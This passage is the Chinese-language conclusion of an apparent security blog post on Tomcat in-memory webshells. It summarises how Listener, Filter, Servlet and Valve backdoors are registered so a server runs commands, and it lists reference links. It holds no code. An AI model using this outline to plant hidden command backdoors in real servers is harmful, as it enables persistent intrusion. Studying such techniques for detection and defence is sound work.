关于利用,不同的场景有不同的利用,情况太多,不管是出于什么目的注入,比如说不出网利用还是其他,如果存在框架漏洞,一般那种框架漏洞利用工具会提供注入内存马的功能,如果需要手工注入时,只能说看场景注就完事了。
总结
该篇分析了Tomcat的四种类型内存马,Listener型内存马是使用StandardContext#addApplicationEventListener()
方法添加恶意Listener;Filter型内存马主要是需要添加FilterDef
、FilterMap
、FilterConfig
三个属性并把它添加进FilterConfigs
中,这样tomcat就会读取到恶意Filter的FilterConfig,从而把恶意Filter添加进Filters中,最终被添加到内存中从而可以接受参数执行命令。Servlet型我在流程图上已经画了,Valve型算是最简单的,获取对象后直接addValve()
即可。
参考链接
https://pdai.tech/md/framework/tomcat/tomcat-x-arch.html
https://drun1baby.top/2022/08/19/Java%E5%86%85%E5%AD%98%E9%A9%AC%E7%B3%BB%E5%88%97-01-%E5%9F%BA%E7%A1%80%E5%86%85%E5%AE%B9%E5%AD%A6%E4%B9%A0/#0x03-Tomcat-%E5%9F%BA%E7%A1%80%E4%BB%8B%E7%BB%8D
https://goodapple.top/archives/1359